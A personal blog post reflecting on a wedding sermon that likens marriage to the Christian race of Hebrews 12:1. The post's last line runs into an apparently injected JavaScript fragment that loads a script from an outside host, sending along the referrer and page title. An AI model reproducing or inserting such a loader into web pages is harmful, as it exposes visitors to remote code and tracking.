It’s been a little while, i’ve been out of town; went for my sister-in-law’s wedding. It was a huge success, though very hectic. I enjoyed the church service, particularly the message and i’ll like to write and expantiate on some things i was reminded of all over again in the course of the message.
The Minister likened the journey of marriage to the christian race. One of the bible passages he used was Heb 12:1, which says:
“Therefore, since we are surrounded by so great a cloud of witnesses, let us lay aside every weight, and the sin which so easily ensnares us, and let us run with endurance the race that is set before us”.
The verse says we’re surrounded by a cloud of witnesses. A marriage kicks off in the presence of witnesses. The first being family and friends, second being the pastor who joins both of them, and thirdly is God Himself, the author of the marriage institution. Every wedding ceremony, no matter how small or low key it is, always has these 3 parties represented. So there’s record in heaven and on earth everytime a wedding takes place; moreso, it’s a type of christ’s relationship with the church. So, God takes it very seriously. Ideally, if a party wants to divorce the other, he’s supposed to ensure that all the parties present for the joining should be present at the “dissolving”.
The next part says we should lay aside every weight. Marriage requires laying aside things, habits that may hinder us from making progress. Weights are not necessarily wrongdoings or sin, but they’re things that will cause hindrances if not dealt with. These weights are an endless list of things which border on attitude(s). Our attitudes affect our perception which ultimately affect the actions we give and receive. It could be as basic as one’s attitude towards how a marriage ought to be which was formed based on one’s background. The list is endless; search it out and lay it aside.
The next part talks about sin which so easily besets/ensnares. These are die-hard sins which were not nipped in the bud and were brought into a marriage relationship. They border mostly around infidelity/adultery/sexual immorality, financial unfaithfulness, etc. God expects us to lay aside sin so that we can make progress. There’s a major characteristic of sin; sin deters, cripples, degenerates and ultimately destroys. It’s not possible to live in sin and expect God’s grace to abound. God cannot be mocked. Address it, before it undresses you.
The next part talks about running with patience/endurance the race that is set before us. It’s a race, and everyone has his/her part to play. We’re made to know that there’s a need to have patience/endurance. This connotes the ability to delay gratification, to wait for the right time, to do things right and not cut corners. Marriage is a journey, and we must end well.
In my next post, i’ll expantiate a little on verse 2. I pray that the grace to get it right and end well will be upon you. Have a lovely weekend!s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;